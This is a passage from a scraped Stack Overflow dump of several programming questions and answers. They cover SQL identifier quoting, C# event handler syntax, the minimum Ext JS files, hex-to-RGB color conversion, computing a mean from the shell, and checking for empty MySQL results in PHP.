* Include international characters: "私のテーブル"
* Are case-sensitive: "MyTable"
* Match SQL keywords: "table"
The standard SQL language uses double-quotes for delimited identifiers:
```
SELECT * FROM "my table";
```
MySQL uses back-quotes by default. MySQL can use standard double-quotes:
```
SELECT * FROM `my table`;
SET SQL_MODE=ANSI_QUOTES;
SELECT * FROM "my table";
```
Microsoft SQL Server and Sybase uses brackets by default. They can both use standard double-quotes this way:
```
SELECT * FROM [my table];
SET QUOTED_IDENTIFIER ON;
SELECT * FROM "my table";
```
InterBase and Firebird need to set the SQL dialect to 3 to support delimited identifiers.
Most other brands of database use double-quotes correctly.
|
214,346 |
<p>In C# is there any real difference (other than syntax) under the hood between:</p>
<pre><code>myButton.Click += new EventHandler(myMemberMethod);
</code></pre>
<p>and</p>
<pre><code>myButton.Click += myMemberMethod;
</code></pre>
<p>?</p>
|
[
{
"answer_id": 214353,
"author": "Alexander Kojevnikov",
"author_id": 712,
"author_profile": "https://Stackoverflow.com/users/712",
"pm_score": 5,
"selected": true,
"text": "<p>The second method is a shortcut to the first one, it was introduced in C# 2.0</p>\n\n<p>See also <a href=\"https://stackoverflow.com/questions/119160/what-is-the-difference-between-events-with-delegate-handlers-and-those-without\">this thread</a>.</p>\n"
},
{
"answer_id": 214358,
"author": "Dested",
"author_id": 11137,
"author_profile": "https://Stackoverflow.com/users/11137",
"pm_score": 3,
"selected": false,
"text": "<p>They are exactly the same, its called syntax sugar.</p>\n\n<p>There are a lot of things that arent needed, to get a better idea of them while programming you should try something like <a href=\"http://www.jetbrains.com/resharper/\" rel=\"noreferrer\">Resharper</a>. It will color the unnecessary code in Grey. Not to mention a whole myriad of incredible tools and refactorings. </p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214346",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29152/"
] |
In C# is there any real difference (other than syntax) under the hood between:
```
myButton.Click += new EventHandler(myMemberMethod);
```
and
```
myButton.Click += myMemberMethod;
```
?
|
The second method is a shortcut to the first one, it was introduced in C# 2.0
See also [this thread](https://stackoverflow.com/questions/119160/what-is-the-difference-between-events-with-delegate-handlers-and-those-without).
|
214,348 |
<p>Does anyone know the bare minimum files required for Ext JS 2.2? I know the ExtJS site has a feature to <a href="http://extjs.com/products/extjs/build/" rel="noreferrer">"build"</a> a small version of ExtJS (ext.js) as a replacement for ext-all.js but that's for minimizing the size of ExtJS on the client. I'm interested in minimizing what's on the server. Currently the SDK comes with the following subdirectories:</p>
<h2>ext-2.2/</h2>
<pre><code>adapter
air
build
docs
examples
resources
source
</code></pre>
<p>I think its pretty safe to remove examples, docs, and air. However, are there other things we can remove to make this smaller or is there a resource (besides the large javascript source code corpus) that documents the minimum required files?</p>
|
[
{
"answer_id": 214390,
"author": "pfeilbr",
"author_id": 29148,
"author_profile": "https://Stackoverflow.com/users/29148",
"pm_score": 4,
"selected": true,
"text": "<p>This link explains the include order\n<a href=\"http://extjs.com/learn/Ext_Getting_Started#What_is_the_proper_include_order_for_my_JavaScript_files.3F\" rel=\"nofollow noreferrer\">What is the proper include order for my JavaScript files?</a></p>\n\n<p>This is the minimum include set</p>\n\n<pre><code><link rel=\"stylesheet\" type=\"text/css\" href=\"../extjs/resources/css/ext-all.css\">\n<script type=\"text/javascript\" src=\"../extjs/adapter/ext/ext-base.js\"></script>\n<script type=\"text/javascript\" src=\"../extjs/ext-all.js\"></script>\n</code></pre>\n\n<p>The ext-all.css depends on files in ../extjs/resources/css so you should include that entire directory structure also.</p>\n\n<p>So you'd need the following files at a minimum</p>\n\n<ul>\n<li>extjs/resources/**/*</li>\n<li>extjs/adapter/ext/ext-base.js</li>\n<li>extjs/ext-all.js</li>\n</ul>\n\n<p>If you're not using Ext JS for any of the UI components then you don't need any of the stylesheets and supporting images, but in that case you'd have to question why you're using Ext JS since that's it's strong point.</p>\n"
},
{
"answer_id": 905037,
"author": "Ballsacian1",
"author_id": 100658,
"author_profile": "https://Stackoverflow.com/users/100658",
"pm_score": 1,
"selected": false,
"text": "<p>Ext Core<br><a href=\"http://extjs.com/products/extcore/\" rel=\"nofollow noreferrer\">http://extjs.com/products/extcore/</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214348",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10708/"
] |
Does anyone know the bare minimum files required for Ext JS 2.2? I know the ExtJS site has a feature to ["build"](http://extjs.com/products/extjs/build/) a small version of ExtJS (ext.js) as a replacement for ext-all.js but that's for minimizing the size of ExtJS on the client. I'm interested in minimizing what's on the server. Currently the SDK comes with the following subdirectories:
ext-2.2/
--------
```
adapter
air
build
docs
examples
resources
source
```
I think its pretty safe to remove examples, docs, and air. However, are there other things we can remove to make this smaller or is there a resource (besides the large javascript source code corpus) that documents the minimum required files?
|
This link explains the include order
[What is the proper include order for my JavaScript files?](http://extjs.com/learn/Ext_Getting_Started#What_is_the_proper_include_order_for_my_JavaScript_files.3F)
This is the minimum include set
```
<link rel="stylesheet" type="text/css" href="../extjs/resources/css/ext-all.css">
<script type="text/javascript" src="../extjs/adapter/ext/ext-base.js"></script>
<script type="text/javascript" src="../extjs/ext-all.js"></script>
```
The ext-all.css depends on files in ../extjs/resources/css so you should include that entire directory structure also.
So you'd need the following files at a minimum
* extjs/resources/\*\*/\*
* extjs/adapter/ext/ext-base.js
* extjs/ext-all.js
If you're not using Ext JS for any of the UI components then you don't need any of the stylesheets and supporting images, but in that case you'd have to question why you're using Ext JS since that's it's strong point.
|
214,359 |
<p>What is the most efficient way to do this?</p>
|
[
{
"answer_id": 214365,
"author": "Paige Ruten",
"author_id": 813,
"author_profile": "https://Stackoverflow.com/users/813",
"pm_score": 2,
"selected": false,
"text": "<p>A hex value is just RGB numbers represented in hexadecimal. So you just have to take each pair of hex digits and convert them to decimal.</p>\n\n<p>Example:</p>\n\n<pre><code>#FF6400 = RGB(0xFF, 0x64, 0x00) = RGB(255, 100, 0)\n</code></pre>\n"
},
{
"answer_id": 214367,
"author": "billjamesdev",
"author_id": 13824,
"author_profile": "https://Stackoverflow.com/users/13824",
"pm_score": 4,
"selected": false,
"text": "<p>just real quick:</p>\n\n<pre><code>int r = ( hexcolor >> 16 ) & 0xFF;\n\nint g = ( hexcolor >> 8 ) & 0xFF;\n\nint b = hexcolor & 0xFF;\n\nint hexcolor = (r << 16) + (g << 8) + b;\n</code></pre>\n"
},
{
"answer_id": 214386,
"author": "Vicent Marti",
"author_id": 4381,
"author_profile": "https://Stackoverflow.com/users/4381",
"pm_score": 4,
"selected": true,
"text": "<p>Real answer: Depends on what kind of hexadecimal color value you are looking for (e.g. 565, 555, 888, 8888, etc), the amount of alpha bits, the actual color distribution (rgb vs bgr...) and a ton of other variables.</p>\n\n<p>Here's a generic algorithm for most RGB values using C++ templates (straight from ScummVM).</p>\n\n<pre><code>template<class T>\nuint32 RGBToColor(uint8 r, uint8 g, uint8 b) {\nreturn T::kAlphaMask |\n (((r << T::kRedShift) >> (8 - T::kRedBits)) & T::kRedMask) |\n (((g << T::kGreenShift) >> (8 - T::kGreenBits)) & T::kGreenMask) |\n (((b << T::kBlueShift) >> (8 - T::kBlueBits)) & T::kBlueMask);\n}\n</code></pre>\n\n<p>Here's a sample color struct for 565 (the standard format for 16 bit colors):</p>\n\n<pre><code>template<>\nstruct ColorMasks<565> {\nenum {\n highBits = 0xF7DEF7DE,\n lowBits = 0x08210821,\n qhighBits = 0xE79CE79C,\n qlowBits = 0x18631863,\n\n\n kBytesPerPixel = 2,\n\n kAlphaBits = 0,\n kRedBits = 5,\n kGreenBits = 6,\n kBlueBits = 5,\n\n kAlphaShift = kRedBits+kGreenBits+kBlueBits,\n kRedShift = kGreenBits+kBlueBits,\n kGreenShift = kBlueBits,\n kBlueShift = 0,\n\n kAlphaMask = ((1 << kAlphaBits) - 1) << kAlphaShift,\n kRedMask = ((1 << kRedBits) - 1) << kRedShift,\n kGreenMask = ((1 << kGreenBits) - 1) << kGreenShift,\n kBlueMask = ((1 << kBlueBits) - 1) << kBlueShift,\n\n kRedBlueMask = kRedMask | kBlueMask\n\n};\n};\n</code></pre>\n"
},
{
"answer_id": 214657,
"author": "Jeremy Cantrell",
"author_id": 18866,
"author_profile": "https://Stackoverflow.com/users/18866",
"pm_score": 7,
"selected": false,
"text": "<p>In python:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def hex_to_rgb(value):\n """Return (red, green, blue) for the color given as #rrggbb."""\n value = value.lstrip('#')\n lv = len(value)\n return tuple(int(value[i:i + lv // 3], 16) for i in range(0, lv, lv // 3))\n\ndef rgb_to_hex(red, green, blue):\n """Return color as #rrggbb for the given color values."""\n return '#%02x%02x%02x' % (red, green, blue)\n\nhex_to_rgb("#ffffff") #==> (255, 255, 255)\nhex_to_rgb("#ffffffffffff") #==> (65535, 65535, 65535)\nrgb_to_hex(255, 255, 255) #==> '#ffffff'\nrgb_to_hex(65535, 65535, 65535) #==> '#ffffffffffff'\n</code></pre>\n"
},
{
"answer_id": 6603678,
"author": "David Borin",
"author_id": 832492,
"author_profile": "https://Stackoverflow.com/users/832492",
"pm_score": 1,
"selected": false,
"text": "<pre>\n#!/usr/bin/env python\n\nimport re\nimport sys\n\ndef hex_to_rgb(value):\n value = value.lstrip('#')\n lv = len(value)\n return tuple(int(value[i:i+lv/3], 16) for i in range(0, lv, lv/3))\n\ndef rgb_to_hex(rgb):\n rgb = eval(rgb)\n r = rgb[0]\n g = rgb[1]\n b = rgb[2]\n return '#%02X%02X%02X' % (r,g,b)\n\ndef main():\n color = raw_input(\"HEX [#FFFFFF] or RGB [255, 255, 255] value (no value quits program): \")\n while color:\n if re.search('\\#[a-fA-F0-9][a-fA-F0-9][a-fA-F0-9][a-fA-F0-9][a-fA-F0-9][a-fA-F0-9]', color):\n converted = hex_to_rgb(color)\n print converted\n elif re.search('[0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}', color):\n converted = rgb_to_hex(color)\n print converted\n elif color == '':\n sys.exit(0)\n else:\n print 'You didn\\'t enter a valid value!'\n color = raw_input(\"HEX [#FFFFFF] or RGB [255, 255, 255] value (no value quits program): \")\n\nif __name__ == '__main__':\n main()\n</pre>\n"
},
{
"answer_id": 7548779,
"author": "Rick Westera",
"author_id": 672086,
"author_profile": "https://Stackoverflow.com/users/672086",
"pm_score": 3,
"selected": false,
"text": "<p>Modifying Jeremy's python answer to handle short CSS rgb values like 0, #999, and #fff (which browsers would render as black, medium grey, and white):</p>\n\n<pre><code>def hex_to_rgb(value):\n value = value.lstrip('#')\n lv = len(value)\n if lv == 1:\n v = int(value, 16)*17\n return v, v, v\n if lv == 3:\n return tuple(int(value[i:i+1], 16)*17 for i in range(0, 3))\n return tuple(int(value[i:i+lv/3], 16) for i in range(0, lv, lv/3))\n</code></pre>\n"
},
{
"answer_id": 22433826,
"author": "Patricio Rossi",
"author_id": 1902051,
"author_profile": "https://Stackoverflow.com/users/1902051",
"pm_score": 1,
"selected": false,
"text": "<p>This is a fragment of code I created for my own use in c++11.\nyou can send hex values or strings:</p>\n\n<pre><code> void Color::SetColor(string color) {\n // try catch will be necessary if your string is not sanitized before calling this function.\n SetColor(std::stoul(color, nullptr, 16));\n }\n\n void Color::SetColor(uint32_t number) {\n B = number & 0xFF;\n number>>= 8;\n G = number & 0xFF;\n number>>= 8;\n R = number & 0xFF;\n }\n\n\n\n // ex:\n SetColor(\"ffffff\");\n SetColor(0xFFFFFF);\n</code></pre>\n"
},
{
"answer_id": 26517762,
"author": "Chris H.",
"author_id": 2961541,
"author_profile": "https://Stackoverflow.com/users/2961541",
"pm_score": 5,
"selected": false,
"text": "<p>In python conversion between hex and 'rgb' is also included in the plotting package <code>matplotlib</code>. Namely </p>\n\n<pre><code>import matplotlib.colors as colors\n</code></pre>\n\n<p>Then</p>\n\n<pre><code>colors.hex2color('#ffffff') #==> (1.0, 1.0, 1.0)\ncolors.rgb2hex((1.0, 1.0, 1.0)) #==> '#ffffff'\n</code></pre>\n\n<p>The caveat is that rgb values in colors are assumed to be between 0.0 and 1.0. If you want to go between 0 and 255 you need to do a small conversion. Specifically,</p>\n\n<pre><code>def hex_to_rgb(hex_string):\n rgb = colors.hex2color(hex_string)\n return tuple([int(255*x) for x in rgb])\n\ndef rgb_to_hex(rgb_tuple):\n return colors.rgb2hex([1.0*x/255 for x in rgb_tuple])\n</code></pre>\n\n<p>The other note is that <code>colors.hex2color</code> only accepts valid hex color strings.</p>\n"
},
{
"answer_id": 42011375,
"author": "PADYMKO",
"author_id": 6003870,
"author_profile": "https://Stackoverflow.com/users/6003870",
"pm_score": 2,
"selected": false,
"text": "<p>You need only convert a value hex (in parts) to decimal and vice-versa. Also need considered, what value in hex may contains 6 or 3 characters (without character '#').</p>\n\n<p><strong>Implementation on the Python 3.5</strong></p>\n\n<pre><code>\"\"\"Utils for working with colors.\"\"\"\n\nimport textwrap\n\n\ndef rgb_to_hex(value1, value2, value3):\n \"\"\"\n Convert RGB value (as three numbers each ranges from 0 to 255) to hex format.\n\n >>> rgb_to_hex(235, 244, 66)\n '#EBF442'\n >>> rgb_to_hex(56, 28, 26)\n '#381C1A'\n >>> rgb_to_hex(255, 255, 255)\n '#FFFFFF'\n >>> rgb_to_hex(0, 0, 0)\n '#000000'\n >>> rgb_to_hex(203, 244, 66)\n '#CBF442'\n >>> rgb_to_hex(53, 17, 8)\n '#351108'\n \"\"\"\n\n for value in (value1, value2, value3):\n if not 0 <= value <= 255:\n raise ValueError('Value each slider must be ranges from 0 to 255')\n return '#{0:02X}{1:02X}{2:02X}'.format(value1, value2, value3)\n\n\ndef hex_to_rgb(value):\n \"\"\"\n Convert color`s value in hex format to RGB format.\n\n >>> hex_to_rgb('fff')\n (255, 255, 255)\n >>> hex_to_rgb('ffffff')\n (255, 255, 255)\n >>> hex_to_rgb('#EBF442')\n (235, 244, 66)\n >>> hex_to_rgb('#000000')\n (0, 0, 0)\n >>> hex_to_rgb('#000')\n (0, 0, 0)\n >>> hex_to_rgb('#54433f')\n (84, 67, 63)\n >>> hex_to_rgb('#f7efed')\n (247, 239, 237)\n >>> hex_to_rgb('#191616')\n (25, 22, 22)\n \"\"\"\n\n if value[0] == '#':\n value = value[1:]\n\n len_value = len(value)\n\n if len_value not in [3, 6]:\n raise ValueError('Incorect a value hex {}'.format(value))\n\n if len_value == 3:\n value = ''.join(i * 2 for i in value)\n return tuple(int(i, 16) for i in textwrap.wrap(value, 2))\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n</code></pre>\n\n<p><strong>Implementation on the JavaScript (adapted to the NodeJS with a support ES6)</strong></p>\n\n<pre><code>const assert = require('assert');\n\n/**\n * Return a color`s value in the hex format by passed the RGB format.\n * @param {integer} value1 An value in ranges from 0 to 255\n * @param {integer} value2 An value in ranges from 0 to 255\n * @param {integer} value3 An value in ranges from 0 to 255\n * @return {string} A color`s value in the hex format\n */\nconst RGBtoHex = (value1, value2, value3) => {\n const values = [value1, value2, value3];\n let result = '#';\n for (let i = 0; i < 3; i += 1) {\n // validation input\n if (values[i] < 0 || values[i] > 255) throw new Error('An each value of RGB format must be ranges from 0 to 255');\n\n // append to result values as hex with at least width 2\n result += (('0' + values[i].toString(16)).slice(-2));\n }\n return result.toUpperCase();\n};\n\n\n/**\n * Convert a value from the hex format to RGB and return as an array\n * @param {int} value A color`s value in the hex format\n * @return {array} Array values of the RGB format\n */\nconst hexToRGB = (value) => {\n let val = value;\n\n val = (value[0] === '#') ? value.slice(1) : value;\n\n if ([3, 6].indexOf(val.length) === -1) throw new Error(`Incorect a value of the hex format: ${value}`);\n\n if (val.length === 3) val = val.split('').map(item => item.repeat(2)).join('');\n\n return val.match(/.{2}/g).map(item => parseInt(`0x${item}`, 16));\n};\n\nassert.deepEqual(hexToRGB('fff'), [255, 255, 255]);\nassert.deepEqual(hexToRGB('#fff'), [255, 255, 255]);\nassert.deepEqual(hexToRGB('#000000'), [0, 0, 0]);\nassert.deepEqual(hexToRGB('000000'), [0, 0, 0]);\nassert.deepEqual(hexToRGB('#d7dee8'), [215, 222, 232]);\nassert.deepEqual(hexToRGB('#1E2F49'), [30, 47, 73]);\nassert.deepEqual(hexToRGB('#030914'), [3, 9, 20]);\n\nassert.equal(RGBtoHex(255, 255, 255), '#FFFFFF');\nassert.equal(RGBtoHex(0, 0, 0), '#000000');\nassert.equal(RGBtoHex(96, 102, 112), '#606670');\nassert.equal(RGBtoHex(199, 204, 214), '#C7CCD6');\nassert.equal(RGBtoHex(22, 99, 224), '#1663E0');\nassert.equal(RGBtoHex(0, 8, 20), '#000814');\n\n\nmodule.exports.RGBtoHex = RGBtoHex;\nmodule.exports.hexToRGB = hexToRGB;\n</code></pre>\n\n<p><strong>Implementation on the C (intended for the C11 standart)</strong></p>\n\n<pre><code>// a type for a struct of RGB color\ntypedef struct _ColorRGB {\n unsigned short int red;\n unsigned short int green;\n unsigned short int blue;\n} colorRGB_t;\n\n\n/*\n Convert a color`s value from the hex format to the RGB.\n Return -1 if a passed value in the hex format is not correct, otherwise - return 0;\n */\nstatic int\nconvertColorHexToRGB(const char originValue[], colorRGB_t *colorRGB) {\n\n // a full value of color in hex format must constains 6 charapters\n char completedValue[6];\n size_t lenOriginValue;\n size_t lenCompletedValue;\n\n // an intermediary variable for keeping value in the hex format\n char hexSingleValue[3];\n\n // a temp pointer to char, need only to the strtol()\n char *ptr;\n\n // a variable for keeping a converted number in the hex to the decimal format\n long int number;\n\n // validation input\n lenOriginValue = strlen(originValue);\n if (lenOriginValue > 7 || lenOriginValue < 3) return -1;\n\n // copy value without sign '#', if found as first in the string\n (originValue[0] == '#') ? strcpy(completedValue, originValue + 1) : strcpy(completedValue, originValue);\n\n lenCompletedValue = strlen(completedValue);\n\n // if the value has only 3 charapters, dublicate an each after itself\n // but if not full version of the hex name of a color (6 charapters), return -1\n if (lenCompletedValue == 3) {\n completedValue[5] = completedValue[2];\n completedValue[4] = completedValue[2];\n completedValue[3] = completedValue[1];\n completedValue[2] = completedValue[1];\n completedValue[1] = completedValue[0];\n } else if (lenCompletedValue != 6) return -1;\n\n // convert string, by parts, to decimal values and keep it in a struct\n\n sprintf(hexSingleValue, \"%c%c\", completedValue[0], completedValue[1]);\n number = strtol(hexSingleValue, &ptr, 16);\n colorRGB->red = number;\n\n sprintf(hexSingleValue, \"%c%c\", completedValue[2], completedValue[3]);\n number = strtol(hexSingleValue, &ptr, 16);\n colorRGB->green = number;\n\n sprintf(hexSingleValue, \"%c%c\", completedValue[4], completedValue[5]);\n number = strtol(hexSingleValue, &ptr, 16);\n colorRGB->blue = number;\n\n return 0;\n}\n\n\n/*\n Convert a color`s value from the RGB format to the hex\n */\nstatic int\nconvertColorRGBToHex(const colorRGB_t *colorRGB, char value[8]) {\n sprintf(value, \"#%02X%02X%02X\", colorRGB->red, colorRGB->green, colorRGB->blue);\n return 0;\n}\n\n\n/*\n Forming a string representation data in an instance of the structure colorRGB_t\n */\nstatic int\ngetRGBasString(const colorRGB_t *colorRGB, char str[18]) {\n sprintf(str, \"rgb(%d, %d, %d)\", colorRGB->red, colorRGB->green, colorRGB->blue);\n return 0;\n}\n\n\nint main (int argv, char **argc)\n{\n char str[18];\n char hex[8];\n\n colorRGB_t *colorRGB_;\n colorRGB_ = (colorRGB_t *)malloc(sizeof(colorRGB_));\n\n convertColorHexToRGB(\"fff\", colorRGB_);\n getRGBasString(colorRGB_, str);\n printf(\"Hex 'fff' to RGB %s\\n\", str);\n convertColorRGBToHex(colorRGB_, hex);\n printf(\"RGB %s to hex '%s'\\n\", str, hex);\n\n convertColorHexToRGB(\"000000\", colorRGB_);\n getRGBasString(colorRGB_, str);\n printf(\"Hex '000000' to RGB %s\\n\", str);\n convertColorRGBToHex(colorRGB_, hex);\n printf(\"RGB %s to hex '%s'\\n\", str, hex);\n\n convertColorHexToRGB(\"#000000\", colorRGB_);\n getRGBasString(colorRGB_, str);\n printf(\"Hex '#000000' to RGB %s\\n\", str);\n convertColorRGBToHex(colorRGB_, hex);\n printf(\"RGB %s to hex '%s'\\n\", str, hex);\n\n convertColorHexToRGB(\"#FFF\", colorRGB_);\n getRGBasString(colorRGB_, str);\n printf(\"Hex '#FFF' to RGB %s\\n\", str);\n convertColorRGBToHex(colorRGB_, hex);\n printf(\"RGB %s to hex '%s'\\n\", str, hex);\n\n free(colorRGB_);\n}\n</code></pre>\n\n<p>A result after compilation (I am used the GCC)</p>\n\n<pre><code>Hex 'fff' to RGB rgb(255, 255, 255)\nRGB rgb(255, 255, 255) to hex '#FFFFFF'\nHex '000000' to RGB rgb(0, 0, 0)\nRGB rgb(0, 0, 0) to hex '#000000'\nHex '#000000' to RGB rgb(0, 0, 0)\nRGB rgb(0, 0, 0) to hex '#000000'\nHex '#FFF' to RGB rgb(255, 255, 255)\nRGB rgb(255, 255, 255) to hex '#FFFFFF'\n</code></pre>\n"
},
{
"answer_id": 61327346,
"author": "Sumit Pokhrel",
"author_id": 2690723,
"author_profile": "https://Stackoverflow.com/users/2690723",
"pm_score": 0,
"selected": false,
"text": "<p>Very Simple and Short implementation: </p>\n\n<pre><code>color_in_hex = 'FF00EE64' # Green Color\nprint('RGB =', tuple(int(color_in_hex[i:i+2], 16) for i in (0, 2, 4)))\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214359",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23107/"
] |
What is the most efficient way to do this?
|
Real answer: Depends on what kind of hexadecimal color value you are looking for (e.g. 565, 555, 888, 8888, etc), the amount of alpha bits, the actual color distribution (rgb vs bgr...) and a ton of other variables.
Here's a generic algorithm for most RGB values using C++ templates (straight from ScummVM).
```
template<class T>
uint32 RGBToColor(uint8 r, uint8 g, uint8 b) {
return T::kAlphaMask |
(((r << T::kRedShift) >> (8 - T::kRedBits)) & T::kRedMask) |
(((g << T::kGreenShift) >> (8 - T::kGreenBits)) & T::kGreenMask) |
(((b << T::kBlueShift) >> (8 - T::kBlueBits)) & T::kBlueMask);
}
```
Here's a sample color struct for 565 (the standard format for 16 bit colors):
```
template<>
struct ColorMasks<565> {
enum {
highBits = 0xF7DEF7DE,
lowBits = 0x08210821,
qhighBits = 0xE79CE79C,
qlowBits = 0x18631863,
kBytesPerPixel = 2,
kAlphaBits = 0,
kRedBits = 5,
kGreenBits = 6,
kBlueBits = 5,
kAlphaShift = kRedBits+kGreenBits+kBlueBits,
kRedShift = kGreenBits+kBlueBits,
kGreenShift = kBlueBits,
kBlueShift = 0,
kAlphaMask = ((1 << kAlphaBits) - 1) << kAlphaShift,
kRedMask = ((1 << kRedBits) - 1) << kRedShift,
kGreenMask = ((1 << kGreenBits) - 1) << kGreenShift,
kBlueMask = ((1 << kBlueBits) - 1) << kBlueShift,
kRedBlueMask = kRedMask | kBlueMask
};
};
```
|
214,363 |
<p>Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?</p>
|
[
{
"answer_id": 214370,
"author": "Paul Nathan",
"author_id": 26227,
"author_profile": "https://Stackoverflow.com/users/26227",
"pm_score": 0,
"selected": false,
"text": "<p>Perl.</p>\n\n<pre><code>@a = <STDIN>;\n\nfor($i = 0; $i < #@a; $i++)\n{\n $sum += $a[i];\n}\n\nprint $a[i]/#@a;\n</code></pre>\n\n<p>Caveat Emptor: My syntax may be a little whiffly.</p>\n"
},
{
"answer_id": 214371,
"author": "Robert Gamble",
"author_id": 25222,
"author_profile": "https://Stackoverflow.com/users/25222",
"pm_score": 2,
"selected": false,
"text": "<pre><code>perl -e 'while (<>) { $sum += $_; $count++ } print $sum / $count, \"\\n\"';\n</code></pre>\n"
},
{
"answer_id": 214380,
"author": "Mitch Wheat",
"author_id": 16076,
"author_profile": "https://Stackoverflow.com/users/16076",
"pm_score": 3,
"selected": false,
"text": "<p>Using <a href=\"http://suso.suso.org/programs/num-utils/\" rel=\"noreferrer\">Num-Utils</a> for UNIX:</p>\n\n<pre><code>average 1 2 3 4 5 6 7 8 9\n</code></pre>\n"
},
{
"answer_id": 214398,
"author": "Andru Luvisi",
"author_id": 5922,
"author_profile": "https://Stackoverflow.com/users/5922",
"pm_score": 5,
"selected": true,
"text": "<p>Awk</p>\n\n<pre><code>awk '{total += $1; count++ } END {print total/count}'\n</code></pre>\n"
},
{
"answer_id": 214425,
"author": "Adam Liss",
"author_id": 29157,
"author_profile": "https://Stackoverflow.com/users/29157",
"pm_score": 4,
"selected": false,
"text": "<pre><code>awk ' { n += $1 }; END { print n / NR }'\n</code></pre>\n\n<p>This accumulates the sum in <code>n</code>, then divides by the number of items (<code>NR</code> = Number of Records).</p>\n\n<p>Works for integers or reals.</p>\n"
},
{
"answer_id": 215021,
"author": "Knox",
"author_id": 4873,
"author_profile": "https://Stackoverflow.com/users/4873",
"pm_score": 1,
"selected": false,
"text": "<p>In Powershell, it would be</p>\n\n<pre><code>get-content .\\meanNumbers.txt | measure-object -average\n</code></pre>\n\n<p>Of course, that's the verbose syntax. If you typed it using aliases,</p>\n\n<pre><code>gc .\\meanNumbers.txt | measure-object -a\n</code></pre>\n"
},
{
"answer_id": 18617647,
"author": "user2747481",
"author_id": 2747481,
"author_profile": "https://Stackoverflow.com/users/2747481",
"pm_score": 2,
"selected": false,
"text": "<p>Using \"st\" (<a href=\"https://github.com/nferraz/st\" rel=\"nofollow\">https://github.com/nferraz/st</a>):</p>\n\n<pre><code>$ st numbers.txt\nN min max sum mean sd\n10.00 1.00 10.00 55.00 5.50 3.03\n</code></pre>\n\n<p>Specify an option to see individual stats:</p>\n\n<pre><code>$ st numbers.txt --mean\n5.5\n</code></pre>\n\n<p>(DISCLAIMER: I wrote this tool :))</p>\n"
},
{
"answer_id": 48694647,
"author": "american-ninja-warrior",
"author_id": 3618156,
"author_profile": "https://Stackoverflow.com/users/3618156",
"pm_score": 0,
"selected": false,
"text": "<p>Ruby one liner</p>\n\n<pre><code>cat numbers.txt | ruby -ne 'BEGIN{$sum=0}; $sum=$sum+$_.to_f; END{puts $sum/$.}'\n</code></pre>\n\n<p><a href=\"http://blog.sam-we.com/docs/avgbash/\" rel=\"nofollow noreferrer\">source</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214363",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18352/"
] |
Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?
|
Awk
```
awk '{total += $1; count++ } END {print total/count}'
```
|
214,419 |
<pre><code>$query = "SELECT * FROM `table`";
$results = mysql_query($query, $connection);
</code></pre>
<p>If 'table' has no rows. whats the easiest way to check for this.?</p>
|
[
{
"answer_id": 214421,
"author": "Paige Ruten",
"author_id": 813,
"author_profile": "https://Stackoverflow.com/users/813",
"pm_score": 5,
"selected": true,
"text": "<p>You could use <a href=\"http://php.net/mysql_num_rows\" rel=\"noreferrer\">mysql_num_rows($results)</a> to check if 0 rows were returned, or use this faster alternative:</p>\n\n<pre><code>$query = \"SELECT COUNT(*) AS total FROM table\";\n$results = mysql_query($query, $connection);\n$values = mysql_fetch_assoc($results);\n$num_rows = $values['total'];\n</code></pre>\n"
},
{
"answer_id": 214738,
"author": "user24632",
"author_id": 24632,
"author_profile": "https://Stackoverflow.com/users/24632",
"pm_score": -1,
"selected": false,
"text": "<p>If you loop through the results, you can have a counter and check that.</p>\n\n<pre><code>$x = 1;\n$query = mysql_query(\"SELECT * FROM table\");\nwhile($row = mysql_fetch_assoc($query))\n{\n $x++;\n}\nif($x == 1)\n{\n //No rows\n}\n</code></pre>\n"
},
{
"answer_id": 215062,
"author": "Piskvor left the building",
"author_id": 19746,
"author_profile": "https://Stackoverflow.com/users/19746",
"pm_score": 5,
"selected": false,
"text": "<p>Jeremy Ruten's answer above is good and executes quickly; on the other hand, it only gives you the number of rows and nothing else (if you want the result data, you have to query the database again). What I use:</p>\n\n<pre><code>// only ask for the columns that interest you (SELECT * can slow down the query)\n$query = \"SELECT some_column, some_other_column, yet_another_column FROM `table`\";\n$results = mysql_query($query, $connection);\n$numResults = mysql_num_rows($results);\nif ($numResults > 0) {\n // there are some results, retrieve them normally (e.g. with mysql_fetch_assoc())\n} else {\n // no data from query, react accordingly\n}\n</code></pre>\n"
},
{
"answer_id": 216103,
"author": "Toby Allen",
"author_id": 6244,
"author_profile": "https://Stackoverflow.com/users/6244",
"pm_score": 3,
"selected": false,
"text": "<p>Alternatively you can simply check if the result of mysql_fetch_assoc is false.</p>\n\n<pre><code>$query = \"SELECT * FROM `table`\";\n$results = mysql_query($query, $connection);\n$Row = mysql_fetch_assoc($results);\nif ($Row == false)\n{\n $Msg = 'Table is empty';\n}\n</code></pre>\n"
},
{
"answer_id": 3298422,
"author": "Orson",
"author_id": 207756,
"author_profile": "https://Stackoverflow.com/users/207756",
"pm_score": 0,
"selected": false,
"text": "<p>One thing i noticed that was missed was the fact that the query might not succeed, so you do need to check if the $results variable is set. I'll use the answer given by yjerem as an example.</p>\n\n<pre><code>$query = \"SELECT COUNT(*) AS total FROM table\";\n$results = mysql_query($query, $connection);\nif ($results) { // or use isset($results)\n$values = mysql_fetch_assoc($results);\n$num_rows = $values['total'];\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214419",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
```
$query = "SELECT * FROM `table`";
$results = mysql_query($query, $connection);
```
If 'table' has no rows. whats the easiest way to check for this.?
|
You could use [mysql\_num\_rows($results)](http://php.net/mysql_num_rows) to check if 0 rows were returned, or use this faster alternative:
```
$query = "SELECT COUNT(*) AS total FROM table";
